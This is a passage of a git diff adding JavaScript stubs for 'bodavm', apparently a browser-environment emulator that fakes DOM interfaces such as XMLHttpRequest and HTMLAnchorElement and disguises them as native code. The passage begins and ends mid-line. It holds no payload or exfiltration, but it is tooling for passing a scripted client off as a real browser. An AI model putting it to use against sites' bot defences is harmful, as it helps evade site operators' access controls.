"open", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "overrideMimeType", {configurable:true, enumerable:true, writable:true, value:function overrideMimeType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "overrideMimeType", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "send", {configurable:true, enumerable:true, writable:true, value:function send (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "send", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "setRequestHeader", {configurable:true, enumerable:true, writable:true, value:function setRequestHeader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "setRequestHeader", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/XMLHttpRequestEventTarget.js b/env_xbb_lastest_jsdom/env copy/XMLHttpRequestEventTarget.js new file mode 100644 index 00000000..11e9b2b0 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/XMLHttpRequestEventTarget.js @@ -0,0 +1,12 @@ +// XMLHttpRequestEventTarget对象 +bodavm.memory.globalobj['XMLHttpRequestEventTarget'] = function XMLHttpRequestEventTarget(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XMLHttpRequestEventTarget'], "XMLHttpRequestEventTarget"); +bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['XMLHttpRequestEventTarget'].__proto__=bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "onloadstart", {configurable:true, enumerable:true, get:function onloadstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onloadstart_get", arguments)}, set:function onloadstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onloadstart_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "onprogress", {configurable:true, enumerable:true, get:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onprogress_get", arguments)}, set:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onprogress_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "onabort", {configurable:true, enumerable:true, get:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onabort_get", arguments)}, set:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onabort_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onerror_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "onload", {configurable:true, enumerable:true, get:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onload_get", arguments)}, set:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onload_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "ontimeout", {configurable:true, enumerable:true, get:function ontimeout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "ontimeout_get", arguments)}, set:function ontimeout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "ontimeout_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "onloadend", {configurable:true, enumerable:true, get:function onloadend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onloadend_get", arguments)}, set:function onloadend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onloadend_set", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/XPathExpression.js b/env_xbb_lastest_jsdom/env copy/XPathExpression.js new file mode 100644 index 00000000..9760fd17 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/XPathExpression.js @@ -0,0 +1,4 @@ +// XPathExpression对象 +bodavm.memory.globalobj['XPathExpression'] = function XPathExpression(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XPathExpression'], "XPathExpression"); +bodavm.toolsFunc.defineProperty('XPathExpression', "evaluate", {configurable:true, enumerable:true, writable:true, value:function evaluate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathExpression'].prototype, "XPathExpression", "evaluate", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLAllCollection.js b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLAllCollection.js new file mode 100644 index 00000000..615cf46b --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLAllCollection.js @@ -0,0 +1,7 @@ +// HTMLAllCollection对象 +bodavm.memory.globalobj['HTMLAllCollection'] = function HTMLAllCollection(){ + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLAllCollection'], "HTMLAllCollection"); +bodavm.toolsFunc.defineProperty('HTMLAllCollection', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAllCollection'].prototype, "HTMLAllCollection", "length_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAllCollection', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAllCollection'].prototype, "HTMLAllCollection", "item", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAllCollection', "namedItem", {configurable:true, enumerable:true, writable:true, value:function namedItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAllCollection'].prototype, "HTMLAllCollection", "namedItem", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLAnchorElement.js b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLAnchorElement.js new file mode 100644 index 00000000..22db0399 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLAnchorElement.js @@ -0,0 +1,32 @@ +// HTMLAnchorElement对象 +bodavm.memory.globalobj['HTMLAnchorElement'] = function HTMLAnchorElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLAnchorElement'], "HTMLAnchorElement"); +bodavm.memory.globalobj['HTMLAnchorElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLAnchorElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "target", {configurable:true, enumerable:true, get:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "target_get", arguments)}, set:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "target_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "download", {configurable:true, enumerable:true, get:function download (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "download_get", arguments)}, set:function download (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "download_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "ping", {configurable:true, enumerable:true, get:function ping (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "ping_get", arguments)}, set:function ping (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "ping_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "rel", {configurable:true, enumerable:true, get:function rel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "rel_get", arguments)}, set:function rel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "rel_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "relList", {configurable:true, enumerable:true, get:function relList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "relList_get", arguments)}, set:function relList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "relList_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "hreflang", {configurable:true, enumerable:true, get:function hreflang (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hreflang_get", arguments)}, set:function hreflang (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hreflang_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "type_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "referrerPolicy", {configurable:true, enumerable:true, get:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "referrerPolicy_get", arguments)}, set:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "referrerPolicy_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "text", {configurable:true, enumerable:true, get:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "text_get", arguments)}, set:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "text_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "coords", {configurable:true, enumerable:true, get:function coords (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "coords_get", arguments)}, set:function coords (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "coords_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "charset", {configurable:true, enumerable:true, get:function charset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "charset_get", arguments)}, set:function charset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "charset_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "name_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "rev", {configurable:true, enumerable:true, get:function rev (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "rev_get", arguments)}, set:function rev (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "rev_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "shape", {configurable:true, enumerable:true, get:function shape (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "shape_get", arguments)}, set:function shape (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "shape_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "origin", {configurable:true, enumerable:true, get:function origin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "origin_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "protocol", {configurable:true, enumerable:true, get:function protocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "protocol_get", arguments)}, set:function protocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "protocol_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "username", {configurable:true, enumerable:true, get:function username (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "username_get", arguments)}, set:function username (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "username_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "password", {configurable:true, enumerable:true, get:function password (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "password_get", arguments)}, set:function password (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "password_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "host", {configurable:true, enumerable:true, get:function host (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "host_get", arguments)}, set:function host (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "host_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "hostname", {configurable:true, enumerable:true, get:function hostname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hostname_get", arguments)}, set:function hostname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hostname_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "port", {configurable:true, enumerable:true, get:function port (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "port_get", arguments)}, set:function port (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "port_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "pathname", {configurable:true, enumerable:true, get:function pathname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "pathname_get", arguments)}, set:function pathname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "pathname_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "search", {configurable:true, enumerable:true, get:function search (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "search_get", arguments)}, set:function search (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "search_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "hash", {configurable:true, enumerable:true, get:function hash (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hash_get", arguments)}, set:function hash (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hash_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "href_get", arguments)}, set:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "href_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "toString", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "hrefTranslate", {configurable:true, enumerable:true, get:function hrefTranslate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hrefTranslate_get", arguments)}, set:function hrefTranslate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hrefTranslate_set", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLBRElement.js b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLBRElement.js new file mode 100644 index 00000000..33a6a2c3 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLBRElement.js @@ -0,0 +1,6 @@ +// HTMLBRElement对象 +bodavm.memory.globalobj['HTMLBRElement'] = function HTMLBRElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLBRElement'], "HTMLBRElement"); +bodavm.memory.globalobj['HTMLBRElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLBRElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLBRElement', "clear", {configurable:true, enumerable:true, get:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBRElement'].prototype, "HTMLBRElement", "clear_get", arguments)}, set:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBRElement'].prototype, "HTMLBRElement", "clear_set", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLBodyElement.js b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLBodyElement.js new file mode 100644 index 00000000..415bd4cb --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLBodyElement.js @@ -0,0 +1,33 @@ +// HTMLBodyElement对象 +bodavm.memory.globalobj['HTMLBodyElement'] = function HTMLBodyElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLBodyElement'], "HTMLBodyElement"); +bodavm.memory.globalobj['HTMLBodyElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLBodyElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "text", {configurable:true, enumerable:true, get:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "text_get", arguments)}, set:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "text_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "link", {configurable:true, enumerable:true, get:function link (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "link_get", arguments)}, set:function link (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "link_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "vLink", {configurable:true, enumerable:true, get:function vLink (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "vLink_get", arguments)}, set:function vLink (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "vLink_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "aLink", {configurable:true, enumerable:true, get:function aLink (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "aLink_get", arguments)}, set:function aLink (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "aLink_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "bgColor", {configurable:true, enumerable:true, get:function bgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "bgColor_get", arguments)}, set:function bgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "bgColor_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "background", {configurable:true, enumerable:true, get:function background (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "background_get", arguments)}, set:function background (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "background_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onblur", {configurable:true, enumerable:true, get:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onblur_get", arguments)}, set:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onblur_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onerror_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onfocus", {configurable:true, enumerable:true, get:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onfocus_get", arguments)}, set:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onfocus_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onload", {configurable:true, enumerable:true, get:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onload_get", arguments)}, set:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onload_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onresize", {configurable:true, enumerable:true, get:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onresize_get", arguments)}, set:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onresize_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onscroll", {configurable:true, enumerable:true, get:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onscroll_get", arguments)}, set:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onscroll_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onafterprint", {configurable:true, enumerable:true, get:function onafterprint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onafterprint_get", arguments)}, set:function onafterprint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onafterprint_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onbeforeprint", {configurable:true, enumerable:true, get:function onbeforeprint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onbeforeprint_get", arguments)}, set:function onbeforeprint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onbeforeprint_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onbeforeunload", {configurable:true, enumerable:true, get:function onbeforeunload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onbeforeunload_get", arguments)}, set:function onbeforeunload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onbeforeunload_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onhashchange", {configurable:true, enumerable:true, get:function onhashchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onhashchange_get", arguments)}, set:function onhashchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onhashchange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onlanguagechange", {configurable:true, enumerable:true, get:function onlanguagechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onlanguagechange_get", arguments)}, set:function onlanguagechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onlanguagechange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onmessage", {configurable:true, enumerable:true, get:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onmessage_get", arguments)}, set:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onmessage_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onmessageerror", {configurable:true, enumerable:true, get:function onmessageerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onmessageerror_get", arguments)}, set:function onmessageerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onmessageerror_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onoffline", {configurable:true, enumerable:true, get:function onoffline (){return bodavm.toolsFunc.dispatch(this, 